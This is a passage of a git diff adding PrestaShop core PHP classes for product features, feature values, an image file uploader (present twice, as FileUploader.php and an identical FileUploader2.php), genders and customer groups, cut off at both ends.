+ { + $this->clearCache(); + + $result = 1; + $fields = $this->getFieldsLang(); + foreach ($fields as $field) + { + foreach (array_keys($field) as $key) + if (!Validate::isTableOrIdentifier($key)) + die(Tools::displayError()); + + $sql = 'SELECT `id_lang` FROM `'.pSQL(_DB_PREFIX_.$this->def['table']).'_lang` + WHERE `'.$this->def['primary'].'` = '.(int)$this->id.' + AND `id_lang` = '.(int)$field['id_lang']; + $mode = Db::getInstance()->getRow($sql); + $result &= (!$mode) ? Db::getInstance()->insert($this->def['table'].'_lang', $field) : + Db::getInstance()->update( + $this->def['table'].'_lang', + $field, + '`'.$this->def['primary'].'` = '.(int)$this->id.' AND `id_lang` = '.(int)$field['id_lang'] + ); + } + Hook::exec('actionFeatureSave', array('id_feature' => $this->id)); + return $result; + } + + /** + * Count number of features for a given language + * + * @param integer $id_lang Language id + * @return int Number of feature + * @static + */ + public static function nbFeatures($id_lang) + { + return Db::getInstance()->getValue(' + SELECT COUNT(*) as nb + FROM `'._DB_PREFIX_.'feature` ag + LEFT JOIN `'._DB_PREFIX_.'feature_lang` agl + ON (ag.`id_feature` = agl.`id_feature` AND `id_lang` = '.(int)$id_lang.') + '); + } + + /** + * Create a feature from import + * + * @param integer $id_feature Feature id + * @param integer $id_product Product id + * @param array $value Feature Value + */ + public static function addFeatureImport($name, $position = false) + { + $rq = Db::getInstance()->getRow(' + SELECT `id_feature` + FROM '._DB_PREFIX_.'feature_lang + WHERE `name` = \''.pSQL($name).'\' + GROUP BY `id_feature` + '); + if (empty($rq)) + { + // Feature doesn't exist, create it + $feature = new Feature(); + $languages = Language::getLanguages(); + foreach ($languages as $language) + $feature->name[$language['id_lang']] = strval($name); + if ($position) + $feature->position = (int)$position; + else + $feature->position = Feature::getHigherPosition() + 1; + $feature->add(); + return $feature->id; + } + else + { + if ($position && $feature = new Feature((int)$rq['id_feature'])) + { + $feature->position = (int)$position; + $feature->update(); + } + + return (int)$rq['id_feature']; + } + } + + public static function getFeaturesForComparison($list_ids_product, $id_lang) + { + if (!Feature::isFeatureActive()) + return false; + + $ids = ''; + foreach ($list_ids_product as $id) + $ids .= (int)$id.','; + + $ids = rtrim($ids, ','); + + if (empty($ids)) + return false; + + return Db::getInstance()->executeS(' + SELECT * , COUNT(*) as nb + FROM `'._DB_PREFIX_.'feature` f + LEFT JOIN `'._DB_PREFIX_.'feature_product` fp + ON f.`id_feature` = fp.`id_feature` + LEFT JOIN `'._DB_PREFIX_.'feature_lang` fl + ON f.`id_feature` = fl.`id_feature` + WHERE fp.`id_product` IN ('.$ids.') + AND `id_lang` = '.(int)$id_lang.' + GROUP BY f.`id_feature` + ORDER BY nb DESC + '); + } + + /** + * This metohd is allow to know if a feature is used or active + * @since 1.5.0.1 + * @return bool + */ + public static function isFeatureActive() + { + return Configuration::get('PS_FEATURE_FEATURE_ACTIVE'); + } + + /** + * Move a feature + * @param boolean $way Up (1) or Down (0) + * @param integer $position + * @return boolean Update result + */ + public function updatePosition($way, $position, $id_feature = null) + { + if (!$res = Db::getInstance()->executeS(' + SELECT `position`, `id_feature` + FROM `'._DB_PREFIX_.'feature` + WHERE `id_feature` = '.(int)($id_feature ? $id_feature : $this->id).' + ORDER BY `position` ASC' + )) + return false; + + foreach ($res as $feature) + if ((int)$feature['id_feature'] == (int)$this->id) + $moved_feature = $feature; + + if (!isset($moved_feature) || !isset($position)) + return false; + + // < and > statements rather than BETWEEN operator + // since BETWEEN is treated differently according to databases + return (Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'feature` + SET `position`= `position` '.($way ? '- 1' : '+ 1').' + WHERE `position` + '.($way + ? '> '.(int)$moved_feature['position'].' AND `position` <= '.(int)$position + : '< '.(int)$moved_feature['position'].' AND `position` >= '.(int)$position)) + && Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'feature` + SET `position` = '.(int)$position.' + WHERE `id_feature`='.(int)$moved_feature['id_feature'])); + } + + /** + * Reorder feature position + * Call it after deleting a feature. + * + * @return bool $return + */ + public static function cleanPositions() + { + return Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'feature` f + LEFT JOIN ( + SELECT @i := @i +1 AS rank, id_feature, position + FROM `'._DB_PREFIX_.'feature` + JOIN (SELECT @i :=1) dummy + ORDER by position + ) AS f2 + USING (id_feature) + SET f.position = f2.rank - 1'); + } + + /** + * getHigherPosition + * + * Get the higher feature position + * + * @return integer $position + */ + public static function getHigherPosition() + { + $sql = 'SELECT MAX(`position`) + FROM `'._DB_PREFIX_.'feature`'; + $position = DB::getInstance()->getValue($sql); + return (is_numeric($position)) ? $position : -1; + } +} + diff --git a/classes/FeatureValue.php b/classes/FeatureValue.php new file mode 100755 index 0000000..9ad101f --- /dev/null +++ b/classes/FeatureValue.php @@ -0,0 +1,190 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class FeatureValueCore extends ObjectModel +{ + /** @var integer Group id which attribute belongs */ + public $id_feature; + + /** @var string Name */ + public $value; + + /** @var boolean Custom */ + public $custom = 0; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'feature_value', + 'primary' => 'id_feature_value', + 'multilang' => true, + 'fields' => array( + 'id_feature' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'custom' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + + // Lang fields + 'value' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 255), + ), + ); + + protected $webserviceParameters = array( + 'objectsNodeName' => 'product_feature_values', + 'objectNodeName' => 'product_feature_value', + 'fields' => array( + 'id_feature' => array('xlink_resource'=> 'product_features'), + ), + ); + + /** + * Get all values for a given feature + * + * @param boolean $id_feature Feature id + * @return array Array with feature's values + * @static + */ + public static function getFeatureValues($id_feature) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'feature_value` + WHERE `id_feature` = '.(int)$id_feature + ); + } + + /** + * Get all values for a given feature and language + * + * @param integer $id_lang Language id + * @param boolean $id_feature Feature id + * @return array Array with feature's values + * @static + */ + public static function getFeatureValuesWithLang($id_lang, $id_feature, $custom = false) + { + return Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'feature_value` v + LEFT JOIN `'._DB_PREFIX_.'feature_value_lang` vl + ON (v.`id_feature_value` = vl.`id_feature_value` AND vl.`id_lang` = '.(int)$id_lang.') + WHERE v.`id_feature` = '.(int)$id_feature.' + '.(!$custom ? 'AND (v.`custom` IS NULL OR v.`custom` = 0)' : '').' + ORDER BY vl.`value` ASC + '); + } + + /** + * Get all language for a given value + * + * @param boolean $id_feature_value Feature value id + * @return array Array with value's languages + * @static + */ + public static function getFeatureValueLang($id_feature_value) + { + return Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'feature_value_lang` + WHERE `id_feature_value` = '.(int)$id_feature_value.' + ORDER BY `id_lang` + '); + } + + /** + * Select the good lang in tab + * + * @param array $lang Array with all language + * @param integer $id_lang Language id + * @return string String value name selected + * @static + */ + public static function selectLang($lang, $id_lang) + { + foreach ($lang as $tab) + if ($tab['id_lang'] == $id_lang) + return $tab['value']; + } + + public static function addFeatureValueImport($id_feature, $name) + { + $rq = Db::getInstance()->executeS(' + SELECT fv.`id_feature_value` + FROM '._DB_PREFIX_.'feature_value fv + LEFT JOIN '._DB_PREFIX_.'feature_value_lang fvl + ON (fvl.`id_feature_value` = fv.`id_feature_value`) + WHERE `value` = \''.pSQL($name).'\' + AND fv.`id_feature` = '.(int)$id_feature.' + GROUP BY fv.`id_feature_value` LIMIT 1 + '); + + if (!isset($rq[0]['id_feature_value']) || !$id_feature_value = (int)$rq[0]['id_feature_value']) + { + // Feature doesn't exist, create it + $feature_value = new FeatureValue(); + + $languages = Language::getLanguages(); + foreach ($languages as $language) + $feature_value->value[$language['id_lang']] = strval($name); + + $feature_value->id_feature = (int)$id_feature; + $feature_value->custom = 1; + $feature_value->add(); + + return (int)$feature_value->id; + } + return (int)$id_feature_value; + } + + public function add($autodate = true, $nullValues = false) + { + $return = parent::add($autodate, $nullValues); + if ($return) + Hook::exec('actionFeatureValueSave', array('id_feature_value' => $this->id)); + return $return; + } + + public function delete() + { + /* Also delete related products */ + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'feature_product` + WHERE `id_feature_value` = '.(int)$this->id + ); + $return = parent::delete(); + + if ($return) + Hook::exec('actionFeatureValueDelete', array('id_feature_value' => $this->id)); + return $return; + } + + public function update($nullValues = false) + { + $return = parent::update($nullValues); + if ($return) + Hook::exec('actionFeatureValueSave', array('id_feature_value' => $this->id)); + return $return; + } +} diff --git a/classes/FileUploader.php b/classes/FileUploader.php new file mode 100755 index 0000000..be70593 --- /dev/null +++ b/classes/FileUploader.php @@ -0,0 +1,242 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class FileUploaderCore +{ + protected $allowedExtensions = array(); + protected $file; + protected $sizeLimit; + + public function __construct(array $allowedExtensions = array(), $sizeLimit = 10485760) + { + $allowedExtensions = array_map('strtolower', $allowedExtensions); + + $this->allowedExtensions = $allowedExtensions; + $this->sizeLimit = $sizeLimit; + + if (isset($_GET['qqfile'])) + $this->file = new QqUploadedFileXhr(); + elseif (isset($_FILES['qqfile'])) + $this->file = new QqUploadedFileForm(); + else + $this->file = false; + } + + protected function toBytes($str) + { + $val = trim($str); + $last = strtolower($str[strlen($str) - 1]); + switch ($last) + { + case 'g': $val *= 1024; + case 'm': $val *= 1024; + case 'k': $val *= 1024; + } + return $val; + } + + /** + * Returns array('success'=>true) or array('error'=>'error message') + */ + public function handleUpload() + { + if (!$this->file) + return array('error' => Tools::displayError('No files were uploaded.')); + + $size = $this->file->getSize(); + + if ($size == 0) + return array('error' => Tools::displayError('File is empty')); + if ($size > $this->sizeLimit) + return array('error' => Tools::displayError('File is too large')); + + $pathinfo = pathinfo($this->file->getName()); + $these = implode(', ', $this->allowedExtensions); + if (!isset($pathinfo['extension'])) + return array('error' => Tools::displayError('File has an invalid extension, it should be one of').$these.'.'); + $ext = $pathinfo['extension']; + if ($this->allowedExtensions && !in_array(strtolower($ext), $this->allowedExtensions)) + return array('error' => Tools::displayError('File has an invalid extension, it should be one of').$these.'.'); + + return $this->file->save(); + + } +} + +class QqUploadedFileForm +{ + /** + * Save the file to the specified path + * @return boolean TRUE on success + */ + public function save() + { + $product = new Product($_GET['id_product']); + if (!Validate::isLoadedObject($product)) + return array('error' => Tools::displayError('Cannot add image because product creation failed.')); + else + { + $image = new Image(); + $image->id_product = (int)$product->id; + $image->position = Image::getHighestPosition($product->id) + 1; + if (!Image::getCover($image->id_product)) + $image->cover = 1; + else + $image->cover = 0; + if (!$image->add()) + return array('error' => Tools::displayError('Error while creating additional image')); + else + return $this->copyImage($product->id, $image->id); + } + } + + public function copyImage($id_product, $id_image, $method = 'auto') + { + $image = new Image($id_image); + if (!$new_path = $image->getPathForCreation()) + return array('error' => Tools::displayError('An error occurred during new folder creation')); + if (!($tmpName = tempnam(_PS_TMP_IMG_DIR_, 'PS')) || !move_uploaded_file($_FILES['qqfile']['tmp_name'], $tmpName)) + return array('error' => Tools::displayError('An error occurred during the image upload')); + elseif (!ImageManager::resize($tmpName, $new_path.'.'.$image->image_format)) + return array('error' => Tools::displayError('An error occurred while copying image.')); + elseif ($method == 'auto') + { + $imagesTypes = ImageType::getImagesTypes('products'); + foreach ($imagesTypes as $imageType) + { + if (!ImageManager::resize($tmpName, $new_path.'-'.stripslashes($imageType['name']).'.'.$image->image_format, $imageType['width'], $imageType['height'], $image->image_format)) + return array('error' => Tools::displayError('An error occurred while copying image:').' '.stripslashes($imageType['name'])); + } + } + unlink($tmpName); + Hook::exec('actionWatermark', array('id_image' => $id_image, 'id_product' => $id_product)); + + if (!$image->update()) + return array('error' => Tools::displayError('Error while updating status')); + $img = array('id_image' => $image->id, 'position' => $image->position, 'cover' => $image->cover, 'name' => $this->getName()); + return array('success' => $img); + } + + public function getName() + { + return $_FILES['qqfile']['name']; + } + + public function getSize() + { + return $_FILES['qqfile']['size']; + } +} +/** + * Handle file uploads via XMLHttpRequest + */ +class QqUploadedFileXhr +{ + /** + * Save the file to the specified path + * @return boolean TRUE on success + */ + public function upload($path) + { + $input = fopen('php://input', 'r'); + $target = fopen($path, 'w'); + + $realSize = stream_copy_to_stream($input, $target); + if ($realSize != $this->getSize()) + return false; + + fclose($input); + fclose($target); + + return true; + } + + public function save() + { + $product = new Product($_GET['id_product']); + if (!Validate::isLoadedObject($product)) + return array('error' => Tools::displayError('Cannot add image because product creation failed.')); + else + { + $image = new Image(); + $image->id_product = (int)($product->id); + $image->position = Image::getHighestPosition($product->id) + 1; + if (!Image::getCover($image->id_product)) + $image->cover = 1; + else + $image->cover = 0; + if (!$image->add()) + return array('error' => Tools::displayError('Error while creating additional image')); + else + return $this->copyImage($product->id, $image->id); + } + } + + public function copyImage($id_product, $id_image, $method = 'auto') + { + $image = new Image($id_image); + if (!$new_path = $image->getPathForCreation()) + return array('error' => Tools::displayError('An error occurred during new folder creation')); + if (!($tmpName = tempnam(_PS_TMP_IMG_DIR_, 'PS')) || !$this->upload($tmpName)) + return array('error' => Tools::displayError('An error occurred during the image upload')); + elseif (!ImageManager::resize($tmpName, $new_path.'.'.$image->image_format)) + return array('error' => Tools::displayError('An error occurred while copying image.')); + elseif ($method == 'auto') + { + $imagesTypes = ImageType::getImagesTypes('products'); + foreach ($imagesTypes as $imageType) + { + /* + $theme = (Shop::isFeatureActive() ? '-'.$imageType['id_theme'] : ''); + if (!ImageManager::resize($tmpName, $new_path.'-'.stripslashes($imageType['name']).$theme.'.'.$image->image_format, $imageType['width'], $imageType['height'], $image->image_format)) + return array('error' => Tools::displayError('An error occurred while copying image:').' '.stripslashes($imageType['name'])); + */ + if (!ImageManager::resize($tmpName, $new_path.'-'.stripslashes($imageType['name']).'.'.$image->image_format, $imageType['width'], $imageType['height'], $image->image_format)) + return array('error' => Tools::displayError('An error occurred while copying image:').' '.stripslashes($imageType['name'])); + } + } + unlink($tmpName); + Hook::exec('actionWatermark', array('id_image' => $id_image, 'id_product' => $id_product)); + + if (!$image->update()) + return array('error' => Tools::displayError('Error while updating status')); + $img = array('id_image' => $image->id, 'position' => $image->position, 'cover' => $image->cover, 'name' => $this->getName()); + return array('success' => $img); + } + + public function getName() + { + return $_GET['qqfile']; + } + + public function getSize() + { + if (isset($_SERVER['CONTENT_LENGTH'])) + return (int)$_SERVER['CONTENT_LENGTH']; + else + throw new Exception('Getting content length is not supported.'); + } +} diff --git a/classes/FileUploader2.php b/classes/FileUploader2.php new file mode 100755 index 0000000..be70593 --- /dev/null +++ b/classes/FileUploader2.php @@ -0,0 +1,242 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class FileUploaderCore +{ + protected $allowedExtensions = array(); + protected $file; + protected $sizeLimit; + + public function __construct(array $allowedExtensions = array(), $sizeLimit = 10485760) + { + $allowedExtensions = array_map('strtolower', $allowedExtensions); + + $this->allowedExtensions = $allowedExtensions; + $this->sizeLimit = $sizeLimit; + + if (isset($_GET['qqfile'])) + $this->file = new QqUploadedFileXhr(); + elseif (isset($_FILES['qqfile'])) + $this->file = new QqUploadedFileForm(); + else + $this->file = false; + } + + protected function toBytes($str) + { + $val = trim($str); + $last = strtolower($str[strlen($str) - 1]); + switch ($last) + { + case 'g': $val *= 1024; + case 'm': $val *= 1024; + case 'k': $val *= 1024; + } + return $val; + } + + /** + * Returns array('success'=>true) or array('error'=>'error message') + */ + public function handleUpload() + { + if (!$this->file) + return array('error' => Tools::displayError('No files were uploaded.')); + + $size = $this->file->getSize(); + + if ($size == 0) + return array('error' => Tools::displayError('File is empty')); + if ($size > $this->sizeLimit) + return array('error' => Tools::displayError('File is too large')); + + $pathinfo = pathinfo($this->file->getName()); + $these = implode(', ', $this->allowedExtensions); + if (!isset($pathinfo['extension'])) + return array('error' => Tools::displayError('File has an invalid extension, it should be one of').$these.'.'); + $ext = $pathinfo['extension']; + if ($this->allowedExtensions && !in_array(strtolower($ext), $this->allowedExtensions)) + return array('error' => Tools::displayError('File has an invalid extension, it should be one of').$these.'.'); + + return $this->file->save(); + + } +} + +class QqUploadedFileForm +{ + /** + * Save the file to the specified path + * @return boolean TRUE on success + */ + public function save() + { + $product = new Product($_GET['id_product']); + if (!Validate::isLoadedObject($product)) + return array('error' => Tools::displayError('Cannot add image because product creation failed.')); + else + { + $image = new Image(); + $image->id_product = (int)$product->id; + $image->position = Image::getHighestPosition($product->id) + 1; + if (!Image::getCover($image->id_product)) + $image->cover = 1; + else + $image->cover = 0; + if (!$image->add()) + return array('error' => Tools::displayError('Error while creating additional image')); + else + return $this->copyImage($product->id, $image->id); + } + } + + public function copyImage($id_product, $id_image, $method = 'auto') + { + $image = new Image($id_image); + if (!$new_path = $image->getPathForCreation()) + return array('error' => Tools::displayError('An error occurred during new folder creation')); + if (!($tmpName = tempnam(_PS_TMP_IMG_DIR_, 'PS')) || !move_uploaded_file($_FILES['qqfile']['tmp_name'], $tmpName)) + return array('error' => Tools::displayError('An error occurred during the image upload')); + elseif (!ImageManager::resize($tmpName, $new_path.'.'.$image->image_format)) + return array('error' => Tools::displayError('An error occurred while copying image.')); + elseif ($method == 'auto') + { + $imagesTypes = ImageType::getImagesTypes('products'); + foreach ($imagesTypes as $imageType) + { + if (!ImageManager::resize($tmpName, $new_path.'-'.stripslashes($imageType['name']).'.'.$image->image_format, $imageType['width'], $imageType['height'], $image->image_format)) + return array('error' => Tools::displayError('An error occurred while copying image:').' '.stripslashes($imageType['name'])); + } + } + unlink($tmpName); + Hook::exec('actionWatermark', array('id_image' => $id_image, 'id_product' => $id_product)); + + if (!$image->update()) + return array('error' => Tools::displayError('Error while updating status')); + $img = array('id_image' => $image->id, 'position' => $image->position, 'cover' => $image->cover, 'name' => $this->getName()); + return array('success' => $img); + } + + public function getName() + { + return $_FILES['qqfile']['name']; + } + + public function getSize() + { + return $_FILES['qqfile']['size']; + } +} +/** + * Handle file uploads via XMLHttpRequest + */ +class QqUploadedFileXhr +{ + /** + * Save the file to the specified path + * @return boolean TRUE on success + */ + public function upload($path) + { + $input = fopen('php://input', 'r'); + $target = fopen($path, 'w'); + + $realSize = stream_copy_to_stream($input, $target); + if ($realSize != $this->getSize()) + return false; + + fclose($input); + fclose($target); + + return true; + } + + public function save() + { + $product = new Product($_GET['id_product']); + if (!Validate::isLoadedObject($product)) + return array('error' => Tools::displayError('Cannot add image because product creation failed.')); + else + { + $image = new Image(); + $image->id_product = (int)($product->id); + $image->position = Image::getHighestPosition($product->id) + 1; + if (!Image::getCover($image->id_product)) + $image->cover = 1; + else + $image->cover = 0; + if (!$image->add()) + return array('error' => Tools::displayError('Error while creating additional image')); + else + return $this->copyImage($product->id, $image->id); + } + } + + public function copyImage($id_product, $id_image, $method = 'auto') + { + $image = new Image($id_image); + if (!$new_path = $image->getPathForCreation()) + return array('error' => Tools::displayError('An error occurred during new folder creation')); + if (!($tmpName = tempnam(_PS_TMP_IMG_DIR_, 'PS')) || !$this->upload($tmpName)) + return array('error' => Tools::displayError('An error occurred during the image upload')); + elseif (!ImageManager::resize($tmpName, $new_path.'.'.$image->image_format)) + return array('error' => Tools::displayError('An error occurred while copying image.')); + elseif ($method == 'auto') + { + $imagesTypes = ImageType::getImagesTypes('products'); + foreach ($imagesTypes as $imageType) + { + /* + $theme = (Shop::isFeatureActive() ? '-'.$imageType['id_theme'] : ''); + if (!ImageManager::resize($tmpName, $new_path.'-'.stripslashes($imageType['name']).$theme.'.'.$image->image_format, $imageType['width'], $imageType['height'], $image->image_format)) + return array('error' => Tools::displayError('An error occurred while copying image:').' '.stripslashes($imageType['name'])); + */ + if (!ImageManager::resize($tmpName, $new_path.'-'.stripslashes($imageType['name']).'.'.$image->image_format, $imageType['width'], $imageType['height'], $image->image_format)) + return array('error' => Tools::displayError('An error occurred while copying image:').' '.stripslashes($imageType['name'])); + } + } + unlink($tmpName); + Hook::exec('actionWatermark', array('id_image' => $id_image, 'id_product' => $id_product)); + + if (!$image->update()) + return array('error' => Tools::displayError('Error while updating status')); + $img = array('id_image' => $image->id, 'position' => $image->position, 'cover' => $image->cover, 'name' => $this->getName()); + return array('success' => $img); + } + + public function getName() + { + return $_GET['qqfile']; + } + + public function getSize() + { + if (isset($_SERVER['CONTENT_LENGTH'])) + return (int)$_SERVER['CONTENT_LENGTH']; + else + throw new Exception('Getting content length is not supported.'); + } +} diff --git a/classes/Gender.php b/classes/Gender.php new file mode 100755 index 0000000..62b21d4 --- /dev/null +++ b/classes/Gender.php @@ -0,0 +1,73 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class GenderCore extends ObjectModel +{ + public $id_gender; + public $name; + public $type; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'gender', + 'primary' => 'id_gender', + 'multilang' => true, + 'fields' => array( + 'type' => array('type' => self::TYPE_INT, 'required' => true), + + // Lang fields + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString', 'required' => true, 'size' => 20), + ), + ); + + public function __construct($id = null, $id_lang = null, $id_shop = null) + { + parent::__construct($id, $id_lang, $id_shop); + + $this->image_dir = _PS_GENDERS_DIR_; + } + + public static function getGenders($id_lang = null) + { + if (is_null($id_lang)) + $id_lang = Context::getContext()->language->id; + + $genders = new Collection('Gender', $id_lang); + return $genders; + } + + public function getImage($use_unknown = false) + { + if (!isset($this->id) || empty($this->id) || !file_exists(_PS_GENDERS_DIR_.$this->id.'.jpg')) + return _THEME_GENDERS_DIR_.'Unknown.jpg'; + return _THEME_GENDERS_DIR_.$this->id.'.jpg'; + } +} \ No newline at end of file diff --git a/classes/Group.php b/classes/Group.php new file mode 100755 index 0000000..aa7f6cc --- /dev/null +++ b/classes/Group.php @@ -0,0 +1,314 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class GroupCore extends ObjectModel +{ + public $id; + + /** @var string Lastname */ + public $name; + + /** @var string Reduction */ + public $reduction; + + /** @var int Price display method (tax inc/tax exc) */ + public $price_display_method; + + /** @var boolean Show prices */ + public $show_prices = 1; + + /** @var string Object creation date */ + public $date_add; + + /** @var string Object last modification date */ + public $date_upd; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'group', + 'primary' => 'id_group', + 'multilang' => true, + 'fields' => array( + 'reduction' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat'), + 'price_display_method' => array('type' => self::TYPE_INT, 'validate' => 'isPriceDisplayMethod', 'required' => true), + 'show_prices' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + + // Lang fields + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 32), + ), + ); + + protected static $cache_reduction = array(); + protected static $group_price_display_method = array(); + + protected $webserviceParameters = array(); + + public static function getGroups($id_lang, $id_shop = false) + { + $shop_criteria = ''; + if ($id_shop) + $shop_criteria = Shop::addSqlAssociation('group', 'g'); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT DISTINCT g.`id_group`, g.`reduction`, g.`price_display_method`, gl.`name` + FROM `'._DB_PREFIX_.'group` g + LEFT JOIN `'._DB_PREFIX_.'group_lang` AS gl ON (g.`id_group` = gl.`id_group` AND gl.`id_lang` = '.(int)$id_lang.') + '.$shop_criteria.' + ORDER BY g.`id_group` ASC'); + } + + public function getCustomers($count = false, $start = 0, $limit = 0, $shop_filtering = false) + { + if ($count) + return Db::getInstance()->getValue(' + SELECT COUNT(*) + FROM `'._DB_PREFIX_.'customer_group` cg + LEFT JOIN `'._DB_PREFIX_.'customer` c ON (cg.`id_customer` = c.`id_customer`) + WHERE cg.`id_group` = '.(int)$this->id.' + '.($shop_filtering ? Shop::addSqlRestriction(Shop::SHARE_CUSTOMER) : '').' + AND c.`deleted` != 1'); + return Db::getInstance()->executeS(' + SELECT cg.`id_customer`, c.* + FROM `'._DB_PREFIX_.'customer_group` cg + LEFT JOIN `'._DB_PREFIX_.'customer` c ON (cg.`id_customer` = c.`id_customer`) + WHERE cg.`id_group` = '.(int)$this->id.' + AND c.`deleted` != 1 + '.($shop_filtering ? Shop::addSqlRestriction(Shop::SHARE_CUSTOMER) : '').' + ORDER BY cg.`id_customer` ASC + '.($limit > 0 ? 'LIMIT '.(int)$start.', '.(int)$limit : '')); + } + + public static function getReduction($id_customer = null) + { + if (!isset(self::$cache_reduction['customer'][(int)$id_customer])) + { + $id_group = $id_customer ? Customer::getDefaultGroupId((int)$id_customer) : (int)Group::getCurrent()->id; + self::$cache_reduction['customer'][(int)$id_customer] = Group::getReductionByIdGroup($id_group); + } + return self::$cache_reduction['customer'][(int)$id_customer]; + } + + public static function getReductionByIdGroup($id_group) + { + if (!isset(self::$cache_reduction['group'][$id_group])) + { + self::$cache_reduction['group'][$id_group] = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `reduction` + FROM `'._DB_PREFIX_.'group` + WHERE `id_group` = '.(int)$id_group); + } + return self::$cache_reduction['group'][$id_group]; + } + + public static function getPriceDisplayMethod($id_group) + { + if (!isset(Group::$group_price_display_method[$id_group])) + self::$group_price_display_method[$id_group] = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `price_display_method` + FROM `'._DB_PREFIX_.'group` + WHERE `id_group` = '.(int)$id_group); + return self::$group_price_display_method[$id_group]; + } + + public static function getDefaultPriceDisplayMethod() + { + return Group::getPriceDisplayMethod((int)Configuration::get('PS_CUSTOMER_GROUP')); + } + + public function add($autodate = true, $null_values = false) + { + if (parent::add($autodate, $null_values)) + { + Category::setNewGroupForHome((int)$this->id); + + Carrier::assignGroupToAllCarriers((int)$this->id); + + // Set cache of feature detachable to true + Configuration::updateGlobalValue('PS_GROUP_FEATURE_ACTIVE', '1'); + return true; + } + return false; + } + + public function delete() + { + if ($this->id == (int)Configuration::get('PS_CUSTOMER_GROUP')) + return false; + if (parent::delete()) + { + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'cart_rule_group` WHERE `id_group` = '.(int)$this->id); + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'customer_group` WHERE `id_group` = '.(int)$this->id); + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'category_group` WHERE `id_group` = '.(int)$this->id); + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'group_reduction` WHERE `id_group` = '.(int)$this->id); + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'product_group_reduction_cache` WHERE `id_group` = '.(int)$this->id); + $this->truncateModulesRestrictions($this->id); + + // Refresh cache of feature detachable + Configuration::updateGlobalValue('PS_GROUP_FEATURE_ACTIVE', Group::isCurrentlyUsed()); + + // Add default group (id 3) to customers without groups + Db::getInstance()->execute('INSERT INTO `'._DB_PREFIX_.'customer_group` ( + SELECT c.id_customer, '.(int)Configuration::get('PS_CUSTOMER_GROUP').' FROM `'._DB_PREFIX_.'customer` c + LEFT JOIN `'._DB_PREFIX_.'customer_group` cg + ON cg.id_customer = c.id_customer + WHERE cg.id_customer IS NULL)'); + + // Set to the customer the default group + // Select the minimal id from customer_group + Db::getInstance()->execute('UPDATE `'._DB_PREFIX_.'customer` cg + SET id_default_group = + IFNULL(( + SELECT min(id_group) FROM `'._DB_PREFIX_.'customer_group` + WHERE id_customer = cg.id_customer), + '.(int)Configuration::get('PS_CUSTOMER_GROUP').') + WHERE `id_default_group` = '.(int)$this->id); + + return true; + } + return false; + } + + /** + * This method is allow to know if a feature is used or active + * @since 1.5.0.1 + * @return bool + */ + public static function isFeatureActive() + { + return Configuration::get('PS_GROUP_FEATURE_ACTIVE'); + } + + /** + * This method is allow to know if a Discount entity is currently used + * @since 1.5.0.1 + * @param $table + * @param $has_active_column + * @return bool + */ + public static function isCurrentlyUsed($table = null, $has_active_column = false) + { + // We don't use the parent method, for specific clause reason (id_group != 3) + return (bool)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `id_group` + FROM `'._DB_PREFIX_.'group` + WHERE `id_group` != '.(int)Configuration::get('PS_CUSTOMER_GROUP').' + '); + } + + /** + * Truncate all modules restrictions for the group + * @param integer id_group + * @return boolean result + */ + public static function truncateModulesRestrictions($id_group) + { + return Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'module_group` + WHERE `id_group` = '.(int)$id_group); + } + + /** + * Truncate all restrictions by module + * @param integer id_module + * @return boolean result + */ + public static function truncateRestrictionsByModule($id_module) + { + return Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'module_group` + WHERE `id_module` = '.(int)$id_module); + } + + /** + * Adding restrictions modules to the group with id $id_group + * @param $id_group + * @param $modules + * @param array $shops + * @return bool + */ + public static function addModulesRestrictions($id_group, $modules, $shops = array(1)) + { + if (!is_array($modules) || !count($modules) || !is_array($shops) || 